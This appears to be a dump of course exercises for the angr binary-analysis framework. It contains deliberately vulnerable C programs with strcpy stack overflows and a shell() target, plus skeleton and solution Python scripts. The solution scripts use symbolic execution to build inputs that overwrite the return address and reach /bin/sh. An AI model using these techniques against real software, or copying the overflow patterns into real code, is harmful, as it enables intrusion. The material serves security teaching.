-------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/acsac-course/7eb1a0dd6ba1de87339613bac0e2ecc68b5ffc3f/exercises/slide_104/static-police/test_binaries/return_values -------------------------------------------------------------------------------- /exercises/slide_104/static-police/test_binaries/src/return_value_checks.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int return_1() 4 | { 5 | printf("This function returns 1.\n"); 6 | 7 | return 1; 8 | } 9 | 10 | int main() 11 | { 12 | int r = return_1(); 13 | if (r != 1) 14 | { 15 | printf("The function does not return 1.\n"); 16 | } 17 | else 18 | { 19 | printf("The function returns 1.\n"); 20 | } 21 | } 22 | 23 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/test_binaries/src/return_values.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int return_0() 4 | { 5 | /* This function always returns 0 */ 6 | printf("This function always returns 0.\n"); 7 | return 0; 8 | } 9 | 10 | int return_1() 11 | { 12 | /* This function always returns 1 */ 13 | printf("This function always returns 1.\n"); 14 | return 1; 15 | } 16 | 17 | int return_2() 18 | { 19 | /* This function always returns 2 */ 20 | printf("This function always returns 2.\n"); 21 | return 2; 22 | } 23 | 24 | int main() 25 | { 26 | int r; 27 | 28 | r = return_0(); 29 | r = return_1(); 30 | r = return_2(); 31 | } 32 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/tests/staticpolice: -------------------------------------------------------------------------------- 1 | ../staticpolice -------------------------------------------------------------------------------- /exercises/slide_104/static-police/tests/test_analyses.py: -------------------------------------------------------------------------------- 1 | # This is a collection of test case on analyses implemented in Flea 2 | 3 | import argparse 4 | import os.path 5 | 6 | import nose.tools 7 | 8 | import angr 9 | import staticpolice 10 | 11 | 12 | def test_return_value_analysis(): 13 | """ 14 | Smoke test for ReturnValueAnalysis 15 | """ 16 | 17 | p = angr.Project(os.path.join('..', 'test_binaries', 'return_values'), auto_load_libs=False) 18 | 19 | cfg = p.analyses.CFGFast() 20 | 21 | f_return0 = cfg.kb.functions.function(name='return_0') 22 | f_return1 = cfg.kb.functions.function(name='return_1') 23 | f_return2 = cfg.kb.functions.function(name='return_2') 24 | 25 | nose.tools.assert_is_not_none(f_return0) 26 | nose.tools.assert_is_not_none(f_return1) 27 | nose.tools.assert_is_not_none(f_return2) 28 | 29 | for f, return_value in [ (f_return0, 0), (f_return1, 1), (f_return2, 2) ]: 30 | cfg_accurate = p.analyses.CFGAccurate( 31 | starts=(f.addr, ), 32 | call_depth=0, 33 | keep_state=True, 34 | base_graph=f.graph 35 | ) 36 | data_dep = p.analyses.DDG(cfg_accurate) 37 | 38 | rva = p.analyses.ReturnValueAnalysis(f, data_dep) 39 | 40 | nose.tools.assert_equal(len(rva.return_values), 1) 41 | nose.tools.assert_true(isinstance(rva.return_values[0], staticpolice.analyses.ConstantReturnValue)) 42 | nose.tools.assert_equal(rva.return_values[0].value, return_value) 43 | 44 | def test_data_dependency_analysis(): 45 | pass 46 | 47 | 48 | def main(): 49 | parser = argparse.ArgumentParser() 50 | parser.add_argument('-t', '--test', help='Name of the test to run.') 51 | args = parser.parse_args() 52 | 53 | if args.test: 54 | g = globals() 55 | for k, v in g.items(): 56 | if k == 'test_%s' % args.test: 57 | v() 58 | break 59 | else: 60 | raise KeyError('Test %s is not found.' % args.test) 61 | 62 | else: 63 | 64 | g = globals() 65 | for k, v in g.items(): 66 | if k.startswith('test_') and hasattr(v, '__call__'): 67 | v() 68 | 69 | if __name__ == '__main__': 70 | main() 71 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/tests/test_policies.py: -------------------------------------------------------------------------------- 1 | # This is a collection of test cases on policies and policy checking procedures 2 | 3 | import argparse 4 | import os.path 5 | 6 | import nose.tools 7 | 8 | import angr 9 | import staticpolice 10 | from staticpolice.policies import ReturnValues, ReturnValueChecks 11 | 12 | def test_return_values(): 13 | """ 14 | Smoke test for policy ReturnValues 15 | """ 16 | 17 | p = angr.Project(os.path.join('..', 'test_binaries', 'return_values'), auto_load_libs=False) 18 | 19 | cfg = p.analyses.CFGFast() 20 | 21 | f_return0 = cfg.kb.functions.function(name='return_0') 22 | f_return1 = cfg.kb.functions.function(name='return_1') 23 | f_return2 = cfg.kb.functions.function(name='return_2') 24 | 25 | nose.tools.assert_is_not_none(f_return0) 26 | nose.tools.assert_is_not_none(f_return1) 27 | nose.tools.assert_is_not_none(f_return2) 28 | 29 | function_and_policies = [ 30 | (f_return0, ReturnValues(return_values=[0], function_address=f_return0.addr, project=p)), 31 | (f_return1, ReturnValues(return_values=[1], function_address=f_return1.addr, project=p)), 32 | (f_return2, ReturnValues(return_values=[2], function_address=f_return2.addr, project=p)), 33 | ] 34 | 35 | for f, policy in function_and_policies: 36 | # all those policies should succeed 37 | r = policy.function_check(f) 38 | nose.tools.assert_true(r) 39 | 40 | # this one is gonna fail 41 | policy = ReturnValues(return_values=[1], function_address=f_return2.addr, project=p) 42 | r = policy.function_check(f_return2) 43 | nose.tools.assert_false(r) 44 | 45 | def test_return_value_checks(): 46 | """ 47 | Smoke test for policy ReturnValueChecks 48 | """ 49 | 50 | p = angr.Project(os.path.join('..', 'test_binaries', 'return_value_checks'), auto_load_libs=False) 51 | 52 | cfg = p.analyses.CFGFast() 53 | 54 | f_return1 = cfg.kb.functions.function(name='return_1') 55 | policy_manager = staticpolice.PolicyManager(p, p.kb) 56 | 57 | nose.tools.assert_is_not_none(f_return1) 58 | 59 | function_and_policies = [ 60 | (f_return1, ReturnValueChecks(project=p, manager=policy_manager)), 61 | ] 62 | 63 | for f, policy in function_and_policies: 64 | # should succeed 65 | r = policy.function_check(f) 66 | nose.tools.assert_true(r) 67 | 68 | def main(): 69 | parser = argparse.ArgumentParser() 70 | parser.add_argument('-t', '--test', help='Name of the test to run.') 71 | args = parser.parse_args() 72 | 73 | if args.test: 74 | g = globals() 75 | for k, v in g.items(): 76 | if k == 'test_%s' % args.test: 77 | v() 78 | break 79 | else: 80 | raise KeyError('Test %s is not found.' % args.test) 81 | 82 | else: 83 | 84 | g = globals() 85 | for k, v in g.items(): 86 | if k.startswith('test_') and hasattr(v, '__call__'): 87 | v() 88 | 89 | if __name__ == '__main__': 90 | main() 91 | -------------------------------------------------------------------------------- /exercises/slide_104/static-police/tests/test_serialization.py: -------------------------------------------------------------------------------- 1 | # Test cases for policy serialization 2 | -------------------------------------------------------------------------------- /exercises/slide_110/overflow: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/acsac-course/7eb1a0dd6ba1de87339613bac0e2ecc68b5ffc3f/exercises/slide_110/overflow -------------------------------------------------------------------------------- /exercises/slide_110/overflow.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() 5 | { 6 | char buf[128]; 7 | unsigned char size; 8 | 9 | printf("How much to read? "); 10 | scanf("%hhd\n", &size); 11 | 12 | if (size > 128) printf("Uh oh, reading up to %d bytes...\n", size); 13 | printf("Received: %d bytes.\n", fread(buf, 1, size, stdin)); 14 | } 15 | -------------------------------------------------------------------------------- /exercises/slide_110/vuln.py: -------------------------------------------------------------------------------- 1 | import angr 2 | 3 | # load the binary 4 | project = angr.Project("overflow", auto_load_libs=False) 5 | 6 | # Make a simple security checker that checks for an overflow into the return address. There are several cases: 7 | # 8 | # 1. The return address is unchanged and pointing to an internal angr hook (i.e., __libc_start_main) 9 | # 2. The return address is unchanged and pointing inside the program (normal case) 10 | # 3. The return address has been overflowed, and we can point it outside of the program (we'll check for this) 11 | # 4. The return address has been partially overflowed, and still points inside the program (future work) 12 | def path_vuln_filter(state): 13 | # get the saved instruction pointer from the stack 14 | pass 15 | print("Checking saved EIP:", saved_eip) 16 | 17 | # first, check if the return address points to a hook. If this is intact, then we assume there is no overflow 18 | pass 19 | 20 | # next, create constraints representing an unsafe condition. In this case, 21 | # let's check if the return address can point *outside* of the program. 22 | pass 23 | 24 | # check if the state is satisfiable with these conditions, and return True if it is 25 | pass 26 | 27 | # get a new simulation manager from the project factory 28 | simgr = project.factory.simulation_manager() 29 | 30 | # initiate a "vuln" stash 31 | simgr.stashes['vuln'] = [] 32 | 33 | # the starting path has no return address on the stack, so it will trigger our vuln filter. 34 | # We can step it until it no longer triggers the filter before starting the actual analysis. 35 | print("Initializing initial state...") 36 | while path_vuln_filter(simgr.active[0]): 37 | simgr.step() 38 | 39 | # Now that we are all set up, let's loop until a vulnerable path has been found 40 | print("Searching for the vulnerability!") 41 | while not simgr.vuln: 42 | # step the simulation manager 43 | pass 44 | # after each step, move all states matching our vuln filter from the active stash to the vuln stash 45 | pass 46 | 47 | # now synthesize our crashing input 48 | pass 49 | open("crashing_input", "wb").write(crashing_input) 50 | print "You can crash the program by doing:" 51 | print "# cat crashing_input | ./overflow" 52 | -------------------------------------------------------------------------------- /exercises/slide_110/vuln.solution.py: -------------------------------------------------------------------------------- 1 | import angr 2 | 3 | # load the binary 4 | project = angr.Project("overflow", auto_load_libs=False) 5 | 6 | # Make a simple security checker that checks for an overflow into the return address. There are several cases: 7 | # 8 | # 1. The return address is unchanged and pointing to an internal angr hook (i.e., __libc_start_main) 9 | # 2. The return address is unchanged and pointing inside the program (normal case) 10 | # 3. The return address has been overflowed, and we can point it outside of the program (we'll check for this) 11 | # 4. The return address has been partially overflowed, and still points inside the program (future work) 12 | def path_vuln_filter(state): 13 | # get the saved instruction pointer from the stack 14 | saved_eip = state.memory.load(state.regs.ebp + 4, 4, endness="Iend_LE") 15 | print("Checking saved EIP:", saved_eip) 16 | 17 | # first, check if the return address points to a hook. If this is intact, then we assume there is no overflow 18 | if project.is_hooked(state.solver.eval(saved_eip)): 19 | return False 20 | 21 | # next, create constraints representing an unsafe condition. In this case, 22 | # let's check if the return address can point *outside* of the program. 23 | unsafe_constraints = [ state.solver.Or(saved_eip < project.loader.min_addr, saved_eip > project.loader.max_addr) ] 24 | 25 | # check if the state is satisfiable with these conditions, and return True if it is 26 | return state.solver.satisfiable(extra_constraints=unsafe_constraints) 27 | 28 | # get a new simulation manager from the project factory 29 | simgr = project.factory.simulation_manager() 30 | 31 | # initiate a "vuln" stash 32 | simgr.stashes['vuln'] = [ ] 33 | 34 | # the starting state has no return address on the stack, so it will trigger our vuln filter. 35 | # We can step it until it no longer triggers the filter before starting the actual analysis. 36 | print("Initializing initial state...") 37 | while path_vuln_filter(simgr.active[0]): 38 | simgr.step() 39 | 40 | # Now that we are all set up, let's loop until a vulnerable path has been found 41 | print("Searching for the vulnerability!") 42 | while not simgr.vuln: 43 | # step the simulation manager 44 | simgr.step() 45 | # after each step, move all states matching our vuln filter from the active stash to the vuln stash 46 | simgr.move('active', 'vuln', filter_func=path_vuln_filter) 47 | 48 | # now synthesize our crashing input 49 | crashing_input = simgr.vuln[0].posix.dumps(0) 50 | open("crashing_input", "wb").write(crashing_input) 51 | print("You can crash the program by doing:") 52 | print("# cat crashing_input | ./overflow") 53 | -------------------------------------------------------------------------------- /exercises/slide_111/overflow3-simplified: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/acsac-course/7eb1a0dd6ba1de87339613bac0e2ecc68b5ffc3f/exercises/slide_111/overflow3-simplified -------------------------------------------------------------------------------- /exercises/slide_111/overflow3-simplified.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | //#include "dump_stack.h" 6 | 7 | /* 8 | * Goal: Get the program to run this function. 9 | */ 10 | void shell(void) { 11 | execl("/bin/sh", "sh", NULL); 12 | } 13 | 14 | void vuln(char *str) { 15 | char buf[64]; 16 | strcpy(buf, str); 17 | //dump_stack((void **) buf, 21, (void **) &str); 18 | } 19 | 20 | int main(int argc, char **argv) { 21 | if (argc != 2) { 22 | printf("Usage: buffer_overflow [str]\n"); 23 | return 1; 24 | } 25 | 26 | //uid_t euid = geteuid(); 27 | //setresuid(euid, euid, euid); 28 | //printf("shell function = %p\n", shell); 29 | vuln(argv[1]); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /exercises/slide_111/overflow3.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import claripy 3 | 4 | # load the binary 5 | project = angr.Project("overflow3-simplified", auto_load_libs=False) 6 | 7 | # This time, we will need access to symbols (to figure out where the "shell" function is, for example). 8 | # Let's generate a CFG to fill in the knowledgebase. 9 | pass 10 | 11 | # Make a simple security checker that checks for an overflow into the return address. There are several cases: 12 | # 13 | # 1. The return address is unchanged and pointing to an internal angr hook (i.e., __libc_start_main) 14 | # 2. The return address is unchanged and pointing inside the program (normal case) 15 | # 3. The return address has been overflowed, and we can point it outside of the program (we'll check for this) 16 | # 4. The return address has been partially overflowed, and still points inside the program (future work) 17 | def path_vuln_filter(state): 18 | # get the saved instruction pointer from the stack 19 | saved_eip = state.memory.load(state.regs.ebp + 4, 4, endness="Iend_LE") 20 | print("Checking saved EIP:", saved_eip) 21 | 22 | # first, check if the return address points to a hook. If this is intact, then we assume there is no overflow 23 | if project.is_hooked(state.solver.eval(saved_eip)): 24 | return False 25 | 26 | # next, create constraints representing an unsafe condition. In this case, 27 | # let's check if the return address can point *outside* of the program. 28 | unsafe_constraints = [ state.solver.Or(saved_eip < project.loader.min_addr, saved_eip > project.loader.max_addr) ] 29 | 30 | # check if the state is satisfiable with these conditions, and return True if it is 31 | return state.solver.satisfiable(extra_constraints=unsafe_constraints) 32 | 33 | # This time, the initialization is a bit different. The application takes a commandline argument, so we must: 34 | # first, create a symbolic bitvector representing the argument. 35 | # We're interested in the last few bytes (the part that will actually overflow the return address), so make it a 36 | # concatination of 60 concrete bytes and 60 symbolic bytes. 37 | pass 38 | # next, create a state with this argument 39 | pass 40 | # now, create the simulation manager with that state as the initial state 41 | simgr = project.factory.simulation_manager(state) 42 | 43 | # initiate a "vuln" stash 44 | simgr.stashes['vuln'] = [ ] 45 | 46 | # Since we have the address of main in the knowledgebase, let's make a less janky initialization procedure. 47 | print("Initializing initial state...") 48 | while simgr.active[0].addr != project.kb.functions['main'].addr: 49 | simgr.step() 50 | 51 | # Now that we are all set up, let's loop until a vulnerable path has been found 52 | print("Searching for the vulnerability!") 53 | while not simgr.vuln: 54 | # step the simulation manager 55 | simgr.step() 56 | # after each step, move all states matching our vuln filter from the active stash to the vuln stash 57 | simgr.move('active', 'vuln', filter_func=path_vuln_filter) 58 | 59 | # Now the fun part starts! Let's add a constraint that sets the overflowed return address to the "shell" function. 60 | # First, grab the stored return address in the vuln state 61 | print("Constraining saved return address!") 62 | vuln_state = simgr.vuln[0] 63 | pass 64 | print("Overwritten EIP:", overwritten_eip) 65 | # Now, let's add a constraint to redirect that return address to the shell function 66 | addr_of_shell = project.kb.functions['shell'].addr 67 | pass 68 | 69 | # and now let's explore the vuln stash until we reach the shell 70 | print("Exploring to 'shell' function.") 71 | pass 72 | 73 | # now synthesize our pwning input! 74 | pass 75 | open("pwning_input", "wb").write(pwning_input.split(b'\0')[0]) # since it's a string arg, we only care up to the first null byte 76 | print("You can crash the program by doing:") 77 | print('# ./overflow3-simplified "$(cat pwning_input)"') 78 | -------------------------------------------------------------------------------- /exercises/slide_111/overflow3.solution.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import claripy 3 | 4 | # load the binary 5 | project = angr.Project("overflow3-simplified", auto_load_libs=False) 6 | 7 | # This time, we will need access to symbols (to figure out where the "shell" function is, for example). 8 | # Let's generate a CFG to fill in the knowledgebase. 9 | cfg = project.analyses.CFG() 10 | 11 | # Make a simple security checker that checks for an overflow into the return address. There are several cases: 12 | # 13 | # 1. The return address is unchanged and pointing to an internal angr hook (i.e., __libc_start_main) 14 | # 2. The return address is unchanged and pointing inside the program (normal case) 15 | # 3. The return address has been overflowed, and we can point it outside of the program (we'll check for this) 16 | # 4. The return address has been partially overflowed, and still points inside the program (future work) 17 | def path_vuln_filter(state): 18 | # get the saved instruction pointer from the stack 19 | saved_eip = state.memory.load(state.regs.ebp + 4, 4, endness="Iend_LE") 20 | print("Checking saved EIP:", saved_eip) 21 | 22 | # first, check if the return address points to a hook. If this is intact, then we assume there is no overflow 23 | if project.is_hooked(state.solver.eval(saved_eip)): 24 | return False 25 | 26 | # next, create constraints representing an unsafe condition. In this case, 27 | # let's check if the return address can point *outside* of the program. 28 | unsafe_constraints = [ state.solver.Or(saved_eip < project.loader.min_addr, saved_eip > project.loader.max_addr) ] 29 | 30 | # check if the state is satisfiable with these conditions, and return True if it is 31 | return state.solver.satisfiable(extra_constraints=unsafe_constraints) 32 | 33 | # This time, the initialization is a bit different. The application takes a commandline argument, so we must: 34 | # first, create a symbolic bitvector representing the argument. 35 | # We're interested in the last few bytes (the part that will actually overflow the return address), so make it a 36 | # concatination of 60 concrete bytes and 60 symbolic bytes. 37 | arg = claripy.BVV(b"A"*60).concat(claripy.BVS("arg", 240)) 38 | # next, create a state with this argument 39 | state = project.factory.entry_state(args=['overflow3', arg]) 40 | # now, create the simulation manager with that state as the initial state 41 | simgr = project.factory.simulation_manager(state) 42 | 43 | # initiate a "vuln" stash 44 | simgr.stashes['vuln'] = [ ] 45 | 46 | # Since we have the address of main in the knowledgebase, let's make a less janky initialization procedure. 47 | print("Initializing initial state...") 48 | while simgr.active[0].addr != project.kb.functions['main'].addr: 49 | simgr.step() 50 | 51 | # Now that we are all set up, let's loop until a vulnerable path has been found 52 | print("Searching for the vulnerability!") 53 | while not simgr.vuln: 54 | # step the simulation manager 55 | simgr.step() 56 | # after each step, move all states matching our vuln filter from the active stash to the vuln stash 57 | simgr.move('active', 'vuln', filter_func=path_vuln_filter) 58 | 59 | # Now the fun part starts! Let's add a constraint that sets the overflowed return address to the "shell" function. 60 | # First, grab the stored return address in the vuln state 61 | print("Constraining saved return address!") 62 | vuln_state = simgr.vuln[0] 63 | overwritten_eip = vuln_state.memory.load(vuln_state.regs.ebp + 4, 4, endness="Iend_LE") 64 | print("Overwritten EIP:", overwritten_eip) 65 | # Now, let's add a constraint to redirect that return address to the shell function 66 | addr_of_shell = project.kb.functions['shell'].addr 67 | vuln_state.add_constraints(overwritten_eip == addr_of_shell) 68 | 69 | # and now let's explore the vuln stash until we reach the shell 70 | print("Exploring to 'shell' function.") 71 | simgr.explore(stash='vuln', find=addr_of_shell) 72 | 73 | # now synthesize our pwning input! 74 | pwning_input = simgr.found[0].solver.eval(arg, cast_to=bytes) 75 | open("pwning_input", "wb").write(pwning_input.split(b'\0')[0]) # since it's a string arg, we only care up to the first null byte 76 | print("You can crash the program by doing:") 77 | print('# ./overflow3-simplified "$(cat pwning_input)"') 78 | -------------------------------------------------------------------------------- /exercises/slide_138/longinit.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import claripy 3 | 4 | # load the binary 5 | project = angr.Project("overflow3-longinit", auto_load_libs=False) 6 | 7 | # This time, we will need access to symbols (to figure out where the "shell" function is, for example). 8 | # Let's generate a CFG to fill in the knowledgebase. 9 | cfg = project.analyses.CFG() 10 | 11 | # Make a simple security checker that checks for an overflow into the return address. There are several cases: 12 | # 13 | # 1. The return address is unchanged and pointing to an internal angr hook (i.e., __libc_start_main) 14 | # 2. The return address is unchanged and pointing inside the program (normal case) 15 | # 3. The return address has been overflowed, and we can point it outside of the program (we'll check for this) 16 | # 4. The return address has been partially overflowed, and still points inside the program (future work) 17 | def path_vuln_filter(state): 18 | # get the saved instruction pointer from the stack 19 | saved_eip = state.memory.load(state.regs.ebp + 4, 4, endness="Iend_LE") 20 | print("Checking saved EIP:", saved_eip) 21 | 22 | # first, check if the return address points to a hook. If this is intact, then we assume there is no overflow 23 | if project.is_hooked(state.solver.eval(saved_eip)): 24 | return False 25 | 26 | # next, create constraints representing an unsafe condition. In this case, 27 | # let's check if the return address can point *outside* of the program. 28 | unsafe_constraints = [ state.solver.Or(saved_eip < project.loader.min_addr, saved_eip > project.loader.max_addr) ] 29 | 30 | # check if the state is satisfiable with these conditions, and return True if it is 31 | return state.solver.satisfiable(extra_constraints=unsafe_constraints) 32 | 33 | # This time, the initialization is a bit different. The application takes a commandline argument, so we must: 34 | # first, create a symbolic bitvector representing the argument. 35 | # We're interested in the last few bytes (the part that will actually overflow the return address), so make it a 36 | # concatination of 60 concrete bytes and 60 symbolic bytes. 37 | arg = claripy.BVV(b"A"*60).concat(claripy.BVS("arg", 240)) 38 | # next, create a state with this argument 39 | state = project.factory.entry_state(args=['overflow3', arg]) 40 | # now, create the simgr with that state as the initial state 41 | simgr = project.factory.simulation_manager(state) 42 | 43 | # initiate a "vuln" stash 44 | simgr.stashes['vuln'] = [ ] 45 | 46 | # Our binary, in this case, has a long initialization loop. We can use Unicorn Engine to 47 | # run this initialization loop concretely, since it does not touch symbolic data. Let's 48 | # add the appropriate options. When the unicorn options are added, angr will jump into 49 | # unicorn as long as symbolic data is not accessed. 50 | pass 51 | 52 | # Since we have the address of main in the knowledgebase, let's make a less janky initialization procedure. 53 | print("Initializing initial state...") 54 | while simgr.active[0].addr != project.kb.functions['main'].addr: 55 | simgr.step() 56 | 57 | # Now that we are all set up, let's loop until a vulnerable path has been found 58 | print("Searching for the vulnerability!") 59 | while not simgr.vuln: 60 | # step the simulation manager 61 | simgr.step() 62 | # after each step, move all states matching our vuln filter from the active stash to the vuln stash 63 | simgr.move('active', 'vuln', filter_func=path_vuln_filter) 64 | 65 | # Now the fun part starts! Let's add a constraint that sets the overflowed return address to the "shell" function. 66 | # First, grab the stored return address in the vuln state 67 | print("Constraining saved return address!") 68 | vuln_state = simgr.vuln[0] 69 | overwritten_eip = vuln_state.memory.load(vuln_state.regs.ebp + 4, 4, endness="Iend_LE") 70 | print("Overwritten EIP:", overwritten_eip) 71 | # Now, let's add a constraint to redirect that return address to the shell function 72 | addr_of_shell = project.kb.functions['shell'].addr 73 | vuln_state.add_constraints(overwritten_eip == addr_of_shell) 74 | 75 | # and now let's explore the vuln stash until we reach the shell 76 | print("Exploring to 'shell' function.") 77 | simgr.explore(stash='vuln', find=addr_of_shell) 78 | 79 | # now synthesize our pwning input! 80 | pwning_input = simgr.found[0].solver.eval(arg, cast_to=bytes) 81 | open("pwning_input", "wb").write(pwning_input.split(b'\0')[0]) # since it's a string arg, we only care up to the first null byte 82 | print("You can crash the program by doing:") 83 | print('# ./overflow3-longinit "$(cat pwning_input)"') 84 | -------------------------------------------------------------------------------- /exercises/slide_138/longinit.solution.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import claripy 3 | 4 | # load the binary 5 | project = angr.Project("overflow3-longinit", load_options={ 'auto_load_libs': False }) 6 | 7 | # This time, we will need access to symbols (to figure out where the "shell" function is, for example). 8 | # Let's generate a CFG to fill in the knowledgebase. 9 | cfg = project.analyses.CFG() 10 | 11 | # Make a simple security checker that checks for an overflow into the return address. There are several cases: 12 | # 13 | # 1. The return address is unchanged and pointing to an internal angr hook (i.e., __libc_start_main) 14 | # 2. The return address is unchanged and pointing inside the program (normal case) 15 | # 3. The return address has been overflowed, and we can point it outside of the program (we'll check for this) 16 | # 4. The return address has been partially overflowed, and still points inside the program (future work) 17 | def path_vuln_filter(state): 18 | # get the saved instruction pointer from the stack 19 | saved_eip = state.memory.load(state.regs.ebp + 4, 4, endness="Iend_LE") 20 | print("Checking saved EIP:", saved_eip) 21 | 22 | # first, check if the return address points to a hook. If this is intact, then we assume there is no overflow 23 | if project.is_hooked(state.solver.eval(saved_eip)): 24 | return False 25 | 26 | # next, create constraints representing an unsafe condition. In this case, 27 | # let's check if the return address can point *outside* of the program. 28 | unsafe_constraints = [ state.solver.Or(saved_eip < project.loader.min_addr, saved_eip > project.loader.max_addr) ] 29 | 30 | # check if the state is satisfiable with these conditions, and return True if it is 31 | return state.solver.satisfiable(extra_constraints=unsafe_constraints) 32 | 33 | # This time, the initialization is a bit different. The application takes a commandline argument, so we must: 34 | # first, create a symbolic bitvector representing the argument. 35 | # We're interested in the last few bytes (the part that will actually overflow the return address), so make it a 36 | # concatination of 60 concrete bytes and 60 symbolic bytes. 37 | arg = claripy.BVV(b"A"*60).concat(claripy.BVS("arg", 240)) 38 | # next, create a state with this argument 39 | state = project.factory.entry_state(args=['overflow3', arg]) 40 | # now, create the simgr with that state as the initial state 41 | simgr = project.factory.simulation_manager(state) 42 | 43 | # initiate a "vuln" stash 44 | simgr.stashes['vuln'] = [ ] 45 | 46 | # Our binary, in this case, has a long initialization loop. We can use Unicorn Engine to 47 | # run this initialization loop concretely, since it does not touch symbolic data. Let's 48 | # add the appropriate options. When the unicorn options are added, angr will jump into 49 | # unicorn as long as symbolic data is not accessed. 50 | simgr.active[0].options |= angr.options.unicorn 51 | 52 | # Since we have the address of main in the knowledgebase, let's make a less janky initialization procedure. 53 | print("Initializing initial state...") 54 | while simgr.active[0].addr != project.kb.functions['main'].addr: 55 | simgr.step() 56 | 57 | # Now that we are all set up, let's loop until a vulnerable path has been found 58 | print("Searching for the vulnerability!") 59 | while not simgr.vuln: 60 | # step the simulation manager 61 | simgr.step() 62 | # after each step, move all states matching our vuln filter from the active stash to the vuln stash 63 | simgr.move('active', 'vuln', filter_func=path_vuln_filter) 64 | 65 | # Now the fun part starts! Let's add a constraint that sets the overflowed return address to the "shell" function. 66 | # First, grab the stored return address in the vuln state 67 | print("Constraining saved return address!") 68 | vuln_state = simgr.vuln[0] 69 | overwritten_eip = vuln_state.memory.load(vuln_state.regs.ebp + 4, 4, endness="Iend_LE") 70 | print("Overwritten EIP:", overwritten_eip) 71 | # Now, let's add a constraint to redirect that return address to the shell function 72 | addr_of_shell = project.kb.functions['shell'].addr 73 | vuln_state.add_constraints(overwritten_eip == addr_of_shell) 74 | 75 | # and now let's explore the vuln stash until we reach the shell 76 | print("Exploring to 'shell' function.") 77 | simgr.explore(stash='vuln', find=addr_of_shell) 78 | 79 | # now synthesize our pwning input! 80 | pwning_input = simgr.found[0].solver.eval(arg, cast_to=bytes) 81 | open("pwning_input", "wb").write(pwning_input.split(b'\0')[0]) # since it's a string arg, we only care up to the first null byte 82 | print("You can crash the program by doing:") 83 | print('# ./overflow3-longinit "$(cat pwning_input)"') 84 | -------------------------------------------------------------------------------- /exercises/slide_138/overflow3-longinit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/acsac-course/7eb1a0dd6ba1de87339613bac0e2ecc68b5ffc3f/exercises/slide_138/overflow3-longinit -------------------------------------------------------------------------------- /exercises/slide_138/overflow3-longinit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | //#include "dump_stack.h" 6 | 7 | /* 8 | * Goal: Get the program to run this function. 9 | */ 10 | void shell(void) { 11 | execl("/bin/sh", "sh", NULL); 12 | } 13 | 14 | void vuln(char *str) { 15 | char buf[64]; 16 | strcpy(buf, str); 17 | for (int i = 0; i < 0x31337; i++); 18 | //dump_stack((void **) buf, 21, (void **) &str); 19 | } 20 | 21 | int main(int argc, char **argv) { 22 | if (argc != 2) { 23 | printf("Usage: buffer_overflow [str]\n"); 24 | return 1; 25 | } 26 | 27 | for (int i = 0; i < 0x31337; i++); 28 | 29 | //uid_t euid = geteuid(); 30 | //setresuid(euid, euid, euid); 31 | //printf("shell function = %p\n", shell); 32 | vuln(argv[1]); 33 | return 0; 34 | } 35 | -------------------------------------------------------------------------------- /exercises/slide_140/overflow3-28d8a442fb232c0c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/acsac-course/7eb1a0dd6ba1de87339613bac0e2ecc68b5ffc3f/exercises/slide_140/overflow3-28d8a442fb232c0c -------------------------------------------------------------------------------- /exercises/slide_140/overflow3-28d8a442fb232c0c.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "dump_stack.h" 6 | 7 | /* 8 | * Goal: Get the program to run this function. 9 | */ 10 | void shell(void) { 11 | execl("/bin/sh", "sh", NULL); 12 | } 13 | 14 | void vuln(char *str) { 15 | char buf[64]; 16 | strcpy(buf, str); 17 | dump_stack((void **) buf, 21, (void **) &str); 18 | } 19 | 20 | int main(int argc, char **argv) { 21 | if (argc != 2) { 22 | printf("Usage: buffer_overflow [str]\n"); 23 | return 1; 24 | } 25 | 26 | uid_t euid = geteuid(); 27 | setresuid(euid, euid, euid); 28 | printf("shell function = %p\n", shell); 29 | vuln(argv[1]); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /exercises/slide_140/overflow3.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import claripy 3 | 4 | # load the binary, but the original one this time! 5 | project = angr.Project("overflow3-28d8a442fb232c0c", auto_load_libs=False) 6 | 7 | # This time, we will need access to symbols (to figure out where the "shell" function is, for example). 8 | # Let's generate a CFG to fill in the knowledgebase. 9 | cfg = project.analyses.CFG() 10 | 11 | # This binary has some functionality that gives angr trouble. Specifically, the way it uses printf (printing pointers) 12 | # in both main() and dump_stack() is not properly handled by angr's printf SimProcedure. If you try to run this 13 | # code without compensating for that, it will hang (because it will error on all paths and keep looping while looking 14 | # for a vuln path). So, to compensate for that, we override printf with a simprocedure that does nothing. 15 | pass 16 | 17 | # Make a simple security checker that checks for an overflow into the return address. There are several cases: 18 | # 19 | # 1. The return address is unchanged and pointing to an internal angr hook (i.e., __libc_start_main) 20 | # 2. The return address is unchanged and pointing inside the program (normal case) 21 | # 3. The return address has been overflowed, and we can point it outside of the program (we'll check for this) 22 | # 4. The return address has been partially overflowed, and still points inside the program (future work) 23 | def path_vuln_filter(path): 24 | # get the saved instruction pointer from the stack 25 | saved_eip = state.memory.load(state.regs.ebp + 4, 4, endness="Iend_LE") 26 | print("Checking saved EIP:", saved_eip) 27 | 28 | # first, check if the return address points to a hook. If this is intact, then we assume there is no overflow 29 | if project.is_hooked(state.solver.eval(saved_eip)): 30 | return False 31 | 32 | # next, create constraints representing an unsafe condition. In this case, 33 | # let's check if the return address can point *outside* of the program. 34 | unsafe_constraints = [ state.solver.Or(saved_eip < project.loader.min_addr, saved_eip > project.loader.max_addr) ] 35 | 